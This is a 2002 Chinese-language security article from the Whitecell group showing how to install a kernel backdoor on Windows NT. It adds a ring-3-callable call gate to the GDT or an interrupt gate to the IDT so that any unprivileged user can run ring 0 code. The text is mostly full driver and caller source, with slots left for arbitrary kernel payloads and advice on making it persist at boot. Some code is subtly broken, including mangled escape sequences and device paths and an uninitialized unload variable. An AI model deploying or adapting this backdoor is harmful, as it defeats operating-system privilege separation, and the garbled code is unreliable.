任意用戶模式下執行 ring 0 代碼

任意用戶模式下執行 ring 0 代碼

Author  : sinister
Email   : [email protected]
HomePage: http://www.whitecell.org  


   衆所周知在非 Admin 用戶模式下,是不允許加載驅動執行 RING 0 代碼的。
本文提供了一種方法,通過修改系統 GDT,IDT 來添加自己的 CALLGATE 和
INTGATE 這樣便在系統中設置了一個後門。我們就可以利用這個後門
在任意用戶模式下執行 ring 0 代碼了。爲了保證我們添加的 CALLGATE 和 INT
GATE 永久性。可以在第一次安裝時利用 SERVICE API 或 INF 文件設置成隨
系統啓動。不過此方法也有個缺陷,就是在第一次安裝 CALLGATE 或 INTGATE
時仍然需要 ADMIN 權限。下面分別給出了添加 CALLGATE 與 INTGATE 的具體
代碼。

  
   一、通過添加調用門實現

  爲了可以讓任意用戶來調用我們的 CALLGATE 需要解決一個小問題。因爲
需要知道 CALLGATE 的 SELECTOR 後纔可以調用。而在 RING 3 下除了能
得到 GDT 的 BASE ADDRESS 和 LIMIT 外是無法訪問 GDT 內容的。我本想
在 RING 0 把 SELECTOR 保存到文件裏。在 RING 3 下讀取出來再調用。
後經過跟 wowocock 探討。他提出的思路是在 RING 0 下通過
ZwQuerySystemInformation 得到 NTDLL.DLL 的 MODULE BASE 然後根據
PE HEADER 中的空閒處存放 SELECTOR。這樣在 RING 3 的任意用戶模式下
就很容易得到了。在這裏要特別感謝 wowocock。下面的代碼爲了演示
方便,用了在我機器上 GDT 中第一個空閒描述符的 SELECTOR 。


驅動程序:

/*****************************************************************
文件名        : WssAddCallGate.c
描述          : 添加調用門
作者          : sinister
最後修改日期  : 2002-11-02
*****************************************************************/

#include "ntddk.h"
#include "string.h"

#ifndef DWORD
#define DWORD unsigned int
#endif

#ifndef WORD
#define WORD unsigned short
#endif

#define LOWORD(l)           ((unsigned short)(unsigned int)(l))
#define HIWORD(l)           ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF))


typedef unsigned long    ULONG;
static NTSTATUS  MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);

#pragma pack(push,1)


typedef struct tagGDTR{
    WORD    wLimit;
    DWORD   *dwBase;
}GDTR, *PGDTR;

typedef struct tagGDT_DESCRIPTOR{
    unsigned limit         : 16;
    unsigned baselo         : 16;
    unsigned basemid     : 8;
    unsigned type        : 4;
    unsigned system      : 1;
    unsigned dpl         : 2;
    unsigned present     : 1;
    unsigned limithi     : 4;
    unsigned available   : 1;
    unsigned zero        : 1;
    unsigned size        : 1;
    unsigned granularity : 1;
    unsigned basehi : 8;
}GDT_DESCRIPTOR, *PGDT_DESCRIPTOR;

typedef struct tagCALLGATE_DESCRIPTOR{
    unsigned short   offset_0_15;
    unsigned short   selector;
    unsigned char    param_count : 4;
    unsigned char    some_bits   : 4;
    unsigned char    type        : 4;
    unsigned char    app_system  : 1;
    unsigned char    dpl         : 2;
    unsigned char    present     : 1;
    unsigned short   offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

#pragma pack(pop)

void __declspec(naked) Ring0Call()
{
    PHYSICAL_ADDRESS  PhyAdd;

    __asm {
        pushad
        pushfd
        cli
    }

     DbgPrint("WSS - My CallGate /n");

     //
     // 這裏可以添加你想要執行的 ring 0 代碼。
     //

    __asm {
       popfd
       popad
       retf
    }
}

VOID AddCallGate( ULONG FuncAddr )
{
    GDTR                    gdtr;
    PGDT_DESCRIPTOR         gdt;
    PCALLGATE_DESCRIPTOR    callgate;
    WORD                    wGDTIndex = 1;


    __asm {
        sgdt  gdtr                  // 得到 GDT 基地址與界限
    }

    gdt = (PGDT_DESCRIPTOR) ( gdtr.dwBase + 8 );  // 跳過空選擇子

    while ( wGDTIndex < ( gdtr.wLimit / 8 ) )
    {
       if ( gdt->present == 0 )     //從 GDT 中找到空描述符
       {          
            callgate = (PCALLGATE_DESCRIPTOR)gdt;

            callgate->offset_0_15             = LOWORD(FuncAddr);
            callgate->selector         = 8;                     // 內核段選擇子
            callgate->param_count             = 0;               // 參數複製數量
            callgate->some_bits         = 0;                    
            callgate->type             = 0xC;              // 386調用門
            callgate->app_system             = 0;                    // 系統描述符
            callgate->dpl             = 3;                    // RING 3 可調用
            callgate->present         = 1;                    // 設置存在位
            callgate->offset_16_31   = HIWORD(FuncAddr);
            DbgPrint("Add CallGate/n");

            return;
       }

       gdt ++;        
       wGDTIndex ++;
    }

}


// 驅動入口
NTSTATUS  DriverEntry( IN PDRIVER_OBJECT DriverObject,  IN PUNICODE_STRING RegistryPath )
{
    
    UNICODE_STRING  nameString, linkString;
    PDEVICE_OBJECT  deviceObject;
    NTSTATUS        status;
    HANDLE          hHandle;
    int                i;
    

    //卸載驅動
    DriverObject->DriverUnload = DriverUnload;

    //建立設備
    RtlInitUnicodeString( &nameString, L"//Device//WssAddCallGate" );
    
    status = IoCreateDevice( DriverObject,
                             0,
                             &nameString,
                             FILE_DEVICE_UNKNOWN,
                             0,
                             TRUE,
                             &deviceObject
                           );
                          

    if (!NT_SUCCESS( status ))
        return status;
    

    RtlInitUnicodeString( &linkString, L"//DosDevices//WssAddCallGate" );

    status = IoCreateSymbolicLink (&linkString, &nameString);

    if (!NT_SUCCESS( status ))
    {
        IoDeleteDevice (DriverObject->DeviceObject);
        return status;
    }    
    
    AddCallGate((ULONG)Ring0Call);

    for ( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)    {

          DriverObject->MajorFunction[i] = MydrvDispatch;
    }

      DriverObject->DriverUnload = DriverUnload;
    
  return STATUS_SUCCESS;
}


//處理設備對象操作

static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0L;
    IoCompleteRequest( Irp, 0 );
    return Irp->IoStatus.Status;
    
}



VOID DriverUnload (IN PDRIVER_OBJECT    pDriverObject)
{
    UNICODE_STRING  nameString;

    RtlInitUnicodeString( &nameString, L"//DosDevices//WssAddCallGate" );    
    IoDeleteSymbolicLink(&nameString);
    IoDeleteDevice(pDriverObject->DeviceObject);

    return;
}


應用程序:

#include <windows.h>
#include <stdio.h>

void main()
{
    WORD farcall[3];

    farcall[0] = 0x0;
    farcall[1] = 0x0;
    farcall[2] = 0x4b;  //在我機器上,添加 CALLGATE 的選擇子爲 4BH

    _asm call fword ptr [farcall]


}


   二、通過添加中斷門實現

  添加中斷門沒有什麼需要解決的問題。直接在 RING 3 利用 int x
即可切換。想想系統調用 INT 2E 就很容易理解了。


/*****************************************************************
文件名        : WssMyInt.c
描述          : 添加中斷門
作者          : sinister
最後修改日期  : 2002-11-02
*****************************************************************/

#include "ntddk.h"

#pragma pack(1)


typedef struct tagIDTR {
        short Limit;
        unsigned int Base;
}IDTR, *PIDTR;


typedef struct tagIDTENTRY {
        unsigned short OffsetLow;
        unsigned short Selector;
        unsigned char  Reserved;
        unsigned char  Type:4;
        unsigned char  Always0:1;
        unsigned char  Dpl:2;
        unsigned char  Present:1;
        unsigned short OffsetHigh;
} IDTENTRY, *PIDTENTRY;

#pragma pack()

#define MYINT 0x76

extern VOID _cdecl MyIntFunc();
CHAR   IDTBuffer[6];

IDTENTRY  OldIdt;
PIDTR idtr = (PIDTR)IDTBuffer;


static NTSTATUS  MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);

// 我們得中斷處理函數

VOID _cdecl MyIntFunc()
{
    PHYSICAL_ADDRESS  PhyAdd;
    unsigned int      dwCallNum;
    unsigned int      dwVAddr;

    _asm mov dwCallNum,eax

     //
     // 這裏可以添加你想要執行的 ring 0 代碼
     //

    switch ( dwCallNum )
    {
        case 0x01:        
             DbgPrint("MyIntGate eax = 0x01/n");
             break;

        case 0x02:
             DbgPrint("MyIntGate eax = 0x02/n");
             break;

        default:break;

    }


    _asm iretd; //中斷返回
}

NTSTATUS AddMyInt()
{
    PIDTENTRY    Idt;

    //得到 IDTR 中得段界限與基地址
    _asm sidt IDTBuffer

    Idt = (PIDTENTRY)idtr->Base; //得到IDT表基地址

    //保存原有得 IDT
    RtlCopyMemory(&OldIdt, &Idt[MYINT], sizeof(OldIdt));


    //禁止中斷
    _asm cli

    //設置 IDT 表各項添加我們得中斷

    Idt[MYINT].OffsetLow   = (unsigned short)MyIntFunc;    //取中斷處理函數低16位
    Idt[MYINT].Selector    = 8;                            //設置內核段選擇子
    Idt[MYINT].Reserved    = 0;                            //系統保留
    Idt[MYINT].Type        = 0xE;                          //設置0xE表示是中斷門
    Idt[MYINT].Always0     = 0;                            //系統保留必須爲0
    Idt[MYINT].Dpl         = 3;                            //描述符權限,設置爲允許 RING 3 進程調用
    Idt[MYINT].Present     = 1;                            //存在位設置爲1表示有效
    Idt[MYINT].OffsetHigh  = (unsigned short)((unsigned int)MyIntFunc>>16); //取中斷處理函數高16位

    //開中斷
    _asm sti

    return STATUS_SUCCESS;
}


//刪除中斷

void RemoveMyInt()
{
    PIDTENTRY            Idt;
    Idt = (PIDTENTRY)idtr->Base;

    _asm cli
    //恢復 IDT
    RtlCopyMemory(&Idt[MYINT], &OldIdt, sizeof(OldIdt));
    _asm sti
}



// 驅動入口
NTSTATUS  DriverEntry( IN PDRIVER_OBJECT DriverObject,  IN PUNICODE_STRING RegistryPath )
{
    
    UNICODE_STRING  nameString, linkString;
    //UNICODE_STRING  deviceString;
    PDEVICE_OBJECT  deviceObject;
    NTSTATUS        status;
    WCHAR           wBuffer[200];
    
    nameString.Buffer        = wBuffer;
    nameString.MaximumLength = 200;


    //卸載驅動
    DriverObject->DriverUnload = DriverUnload;

    //建立設備
    RtlInitUnicodeString( &nameString, L"//Device//WSSINT" );
    
    status = IoCreateDevice( DriverObject,
                             0,
                             &nameString,
                             FILE_DEVICE_UNKNOWN,
                             0,
                             TRUE,
                             &deviceObject
                           );
                          

    if (!NT_SUCCESS( status ))
        return status;
    
    RtlInitUnicodeString( &linkString, L"//??//WSSINT" );

    //使WIN32應用程序可見
    status = IoCreateSymbolicLink (&linkString, &nameString);

    if (!NT_SUCCESS( status ))
    {
        IoDeleteDevice (DriverObject->DeviceObject);
        return status;
    }    
    
    AddMyInt();

    DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]  = MydrvDispatch;  
    
  return STATUS_SUCCESS;
}


static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    NTSTATUS            status;
    
    UNREFERENCED_PARAMETER( DeviceObject );
    
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0L;
    status = STATUS_SUCCESS;

    IoCompleteRequest( Irp, 0 );
    return status;
    
}



VOID DriverUnload (IN PDRIVER_OBJECT    pDriverObject)
{
    UNICODE_STRING  nameString;
    UNICODE_STRING  deviceString,driveString;
    NTSTATUS        ntStatus;

    RemoveMyInt();

    //刪除WIN32可見
    IoDeleteSymbolicLink(&nameString);
    //刪除設備
    IoDeleteDevice(pDriverObject->DeviceObject);

    return;
}


關於我們:

WSS(Whitecell Security Systems),一個非營利性民間技術組織,致力於各種系統安全技術的研究。堅持傳統的hacker精神,追求技術的精純。
WSS 主頁:http://www.whitecell.org/  
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章